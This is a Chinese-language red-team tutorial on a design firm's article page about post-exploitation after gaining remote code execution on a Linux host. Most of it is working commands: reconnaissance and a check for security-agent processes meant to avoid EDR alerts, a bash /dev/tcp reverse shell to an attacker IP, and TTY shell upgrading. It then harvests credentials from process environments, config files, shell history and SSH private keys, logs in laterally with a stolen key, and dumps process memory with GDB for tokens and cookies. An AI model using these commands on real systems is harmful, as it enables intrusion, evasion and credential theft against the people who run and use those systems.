尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

Web 渗透提权路径思维(一):从命令执行到本地横向探索

Web 渗透提权路径思维(一):从命令执行到本地横向探索 Web 渗透提权路径思维一从命令执行到本地横向探索在红队实战评估与渗透测试中通过反序列化、文件上传或命令注入等手段获取到 WebShell 或 RCE远程代码执行权限仅仅是进入内网的起点。面对现代经过安全加固的目标环境如非特权低权限账户运行、容器化隔离、只读文件系统、主机 EDR 监控如何在不惊动防御体系的前提下建立稳定控制通道、系统化完成主机信息收集、挖掘有效凭据并向内网腹地推进是衡量后渗透技术深度的分水岭。获取 RCE 后的后渗透初期勘探清单在拿到初级 Shell 后切忌盲目下载运行大型自动化扫描脚本极易触发 HIDS/EDR 告警。应当优先使用系统原生二进制工具Living off the Land, LotL按层次完成基础环境画像。1. 权限边界与执行环境识别首先需要明确当前进程的上下文权限以及目标系统是否运行在容器或沙箱中# 1. 账户与权限判定 id whoami groups sudo -l 2/dev/null # 2. Linux Capabilities 权限检测排查具备提权潜力的特权位 getcap -r / 2/dev/null # 3. 容器与虚拟化隔离判定 # 检查是否处于 Docker / K8s 容器中 ls -la /.dockerenv 2/dev/null cat /proc/1/cgroup | grep -E docker|kubepods|containerd cat /proc/self/status | grep -i CapEff\|Seccomp2. 操作系统与内核指纹内核版本与发行版细节决定了后续是否可以采用本地提权Local Privilege Escalation, LPE漏洞uname -a cat /proc/version cat /etc/os-release arch3. 网络拓扑与内网接口探测明确目标机器处于单网卡宿主机、NAT 容器网络还是多网卡内网跳板机Dual-homed Host# 接口与 IP 配置 ip a || ifconfig -a # 路由表与网关 ip route || route -n # ARP 邻居缓存直接暴露同子网其他存活主机的内网 IP ip neigh || arp -an # 监听端口与外部连接状态排查仅绑定在 127.0.0.1 的高价值内部服务 ss -tulpn || netstat -tulnpe4. 关键进程与安全软件排查排查系统后台运行的业务进程、定时任务以及防御软件如云安全 Agent、HIDS# 进程树全景 ps auxf || ps -ef # 定时任务排查 crontab -l ls -la /etc/cron* /var/spool/cron/crontabs/ 2/dev/null # 常见安全 Agent 进程识别 ps aux | grep -Ei aliyun|tat_agent|ydservice|safedog|barad_agent|agentversion|cloudwalker|govd反弹稳定交互式 TTY Shell 技巧通过简单的 Bash、NC 或 Python 反弹的 Shell 通常属于哑终端Dumb Shell / Non-interactive TTY。这种 Shell 存在致命痛点无法使用Tab键命令自动补全无法使用方向键查看历史命令一旦执行交互式命令如sudo,su,ssh,passwd,vim会导致会话彻底死锁卡死按下CtrlC会直接杀死本地监听端丢失 Shell 权限无法捕获终端尺寸变化信号SIGWINCH导致多行长文本输出混乱。为了解决这一问题需要按照以下标准化流程将哑 Shell 升级为完全交互式 PTYPseudo Terminal。------------------------------------------------------------------- | 完全交互式 TTY Shell 升级时序 | ------------------------------------------------------------------- | 目标受控端 (Target) 攻击端 (Attacker) | | | | [触发反弹连接] ------------------------- [nc -lvnp 4444 捕获连接] | | | | (1) 生成 PTY 伪终端: | | python3 -c import pty; pty.spawn(/bin/bash) | | | | (2) 将本地终端置于 Raw: | | 按下 [Ctrl Z] 挂起 | | stty raw -echo; fg | | 回车恢复前台 | | | | (3) 注入终端环境变量与尺寸对齐: | | export TERMxterm-256color | | export SHELL/bin/bash | | stty rows 本地行数 columns 本地列数 | | | | [全功能交互式终端建立完成 (支持 Tab、CtrlC、vim、高亮彩色显示)] | -------------------------------------------------------------------1. 实操完整步骤攻击端开启监听nc -lvnp 4444目标端执行反弹命令bash -c bash -i /dev/tcp/192.168.10.50/4444 01目标端生成 PTY 伪终端在获得初始 Shell 后输入python3 -c import pty; pty.spawn(/bin/bash) # 若无 python3可尝试 python -c 或 script -qc /bin/bash /dev/null挂起会话并修改本地终端模式在攻击端键盘按下Ctrl Z此时会看到输出[1] Stopped nc -lvnp 4444。在本地攻击机终端输入stty raw -echo; fg按下回车两次重新回到目标会话中此时本地终端已进入 Raw 原始模式所有按键信号直通目标。初始化环境变量与终端尺寸对齐在已恢复的目标 Shell 中执行export TERMxterm-256color export SHELL/bin/bash在本地攻击机另开一个终端窗口查看当前窗口行数和列数例如stty size输出40 160然后在目标 Shell 中同步尺寸stty rows 40 cols 160至此获得了一个与通过 SSH 直连完全一致的原生交互式终端支持完全命令编辑与全屏应用运行。本地凭据与敏感信息深度挖掘在进入内网横向移动前本地系统本身往往留存了大量可复用的凭据密码、哈希、Token、私钥这是最廉价且最致命的攻击路径。------------------------------------------------------------- | 本地凭据挖掘四大维度 | ------------------------------------------------------------- | 1. 运行态环境变量 (Memory / Proc Environ) | | └── 数据库密码、AWS/Aliyun Key、API Token、K8s Secret | ------------------------------------------------------------- | 2. Web 应用与中间件配置文件 (Application Configs) | | └── spring/application.yml, .env, wp-config.php, Nginx | ------------------------------------------------------------- | 3. 用户行为痕迹与 SSH 凭据 (User Artifacts) | | └── .bash_history, .ssh/id_rsa, .ssh/known_hosts | ------------------------------------------------------------- | 4. 内存与缓存凭据 (Memory Caches Sessions) | | └── gdb 进程转储、SSSD/Samba 凭据缓存、Redis 未授权 | -------------------------------------------------------------1. 运行态进程环境变量许多容器化微服务将密码、AccessKey、OSS Token 注入到容器环境变量中。除直接查看当前env外还应当遍历系统中其他进程的环境变量# 遍历当前系统所有进程的环境变量检索敏感关键词 grep -Eia (password|secret|key|token|access|auth|database) /proc/*/environ 2/dev/null | tr \0 \n | grep -Ei (password|secret|key|token|access|auth)2. Web 应用配置文件自动化检索定位 Web 根目录、备份文件以及各类框架配置文件# 快速定位包含数据库连接凭据的常见配置文件 find /var/www /opt /app /data -maxdepth 4 -type f \( \ -name .env -o \ -name application.yml -o \ -name application.properties -o \ -name config.php -o \ -name database.php -o \ -name settings.py -o \ -name web.config \ \) 2/dev/null -exec grep -H -i password {} 3. 用户历史命令与 SSH 遗留资产运维人员在日常维护中常在命令行中明文输入密码或连接其他内网机器# 1. 历史命令检索 cat ~/.bash_history ~/.zsh_history /home/*/.bash_history 2/dev/null | grep -Ei ssh|mysql|redis|curl|sudo|export # 2. SSH 密钥与已知主机探测 ls -la ~/.ssh/ /home/*/.ssh/ 2/dev/null cat ~/.ssh/known_hosts /home/*/.ssh/known_hosts 2/dev/null cat ~/.ssh/id_rsa /home/*/.ssh/id_rsa 2/dev/null # 3. 检查是否有免密登录公钥残留 cat ~/.ssh/authorized_keys /home/*/.ssh/authorized_keys 2/dev/null若获取到无加密保护的id_rsa私钥文件可直接配合known_hosts中列出的内网 IP 尝试横向免密登录ssh -i /tmp/id_rsa -o StrictHostKeyCheckingno root192.168.10.1204. 内存凭据与未授权本地服务当普通低权限用户能够访问高权限进程内存或本地存在免密开放的服务时Redis 内存提取若本地6379端口仅绑定在127.0.0.1且无密码认证可直接执行redis-cli info、redis-cli keys *session*获取登录会话。GDB 转储敏感进程内存若当前具备ptrace权限可通过 GDB 附加到正在运行的 Nginx、PHP-FPM 或 Python 进程转储其内存段以提取明文解密后的 HTTP 请求头与 Cookie。# GDB 进程内存转储示例 gdb -p PID -batch -ex gcore /tmp/proc_dump.core strings /tmp/proc_dump.core | grep -Ei Authorization: Bearer|password | sort -u通过这一套严密的“环境识别 - 交互加固 - 凭据挖掘”链条红队操作人员能够最大限度地利用边界突破的立足点为接下来的本地提权Sudo/SUID/Kernel LPE以及内网横向移动Socks5 代理隧道搭建奠定坚实的数据与控制支撑。
返回列表